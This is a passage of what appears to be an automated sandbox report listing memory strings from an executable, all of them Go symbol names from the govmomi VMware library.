Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2424
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3755
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.RemoveVirtualNic
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.VirtualMachineFlagInfoVirtualExecUsage.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.DatastoreRenamedOnHostEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.HostInventoryFullEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.HostMountInfoInaccessibleReason.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2416
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3747
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.RetrieveHostSpecificationRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2415
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3746
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.VirtualMachineMemoryAllocationPolicy.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2418
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3749
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2417
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3748
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2419
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VirtualDiskSparseVer1BackingInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2410
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3741
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3740
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2412
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3743
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2411
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3742
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2414
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3745
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.NvdimmNamespaceDeleteSpec
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2413
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3744
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*HealthUpdateInfoComponentType).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: )*[2]types.VirtualMachineStandbyActionType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.HostCpuPackageVendor.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VStorageObjectCreateSnapshot_Task
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.ClusterStatusChangedEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.Description
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2405
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3736
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2404
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3735
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2407
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3738
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2406
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3737
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2409
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2408
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3739
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.RemoveDatastoreRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3730
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2401
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3732
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2400
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3731
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2403
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3734
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.2402
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3733
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.HostVvolNQN
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VmBeingClonedNoFolderEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.[196]github.com/vmware/govmomi/vim25/types.VirtualMachineGuestOsIdentifier
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.JoinDomainRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3725
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3724
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3727
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3726
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3729
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3728
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3721
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3720
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3723
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3722
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*GuestRegKeyWowSpec).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VirtualDevicePipeBackingOption
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.VAppIPAssignmentInfoProtocols.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3714
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3713
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3716
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3715
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.StampAllRulesWithUuidRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3718
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3717
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.ClusterAttemptedVmInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: "VirtualMachineGuestHeartbeatStatusoxml:"virtualMachineGuestHeartbeatStatus,omitempty,typeattr" json:"virtualMachineGuestHeartbeatStatus,omitempty"
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3719
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.ScheduledTaskStartedEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: /*types.VirtualMachineConfigInfoDatastoreUrlPair
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*VirtualMachineConfigSpecEncryptedFtModes).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3710
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3712
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.RunScheduledTaskRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3711
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.CreateFolder
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.HostNewNetworkConnectInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.VmInstanceUuidAssignedEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.[7]github.com/vmware/govmomi/vim25/types.HostPatchManagerIntegrityStatus
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.RefreshDateTimeSystem
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.HostDasErrorEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*StorageDrsPodConfigInfoBehavior).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3703
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.BindVnicRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3702
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3705
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.[3]github.com/vmware/govmomi/vim25/types.DvsNetworkRuleDirectionType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3704
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3707
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3706
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*LicenseReservationInfoState).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3709
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3708
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.DeleteDirectoryInGuest
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.DrsExitStandbyModeFailedEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3701
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.3700
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.UninstallServiceRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.AboutInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*UpgradePolicy).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.(*CryptoManagerKmipCryptoKeyStatusKeyUnavailableReason).Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.DvsHostBackInSyncEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.DrsDisabledEvent
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000000DF9000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: -*[]types.VirtualMachineDynamicPassthroughInfo
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.799
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.798
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.797
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.796
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.795
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.794
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: type:.eq.github.com/vmware/govmomi/vim25/types.ReleaseManagedSnapshotRequestType
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.793
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.792
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.HostCpuSchedulerInfoCpuSchedulerPolicyInfo.Values
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.791
Source: T1kEdFsnxciHVYBeHqJvMP2Q.exe, 0000000C.00000000.2064479394.0000000001731000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: github.com/vmware/govmomi/vim25/types.init.790
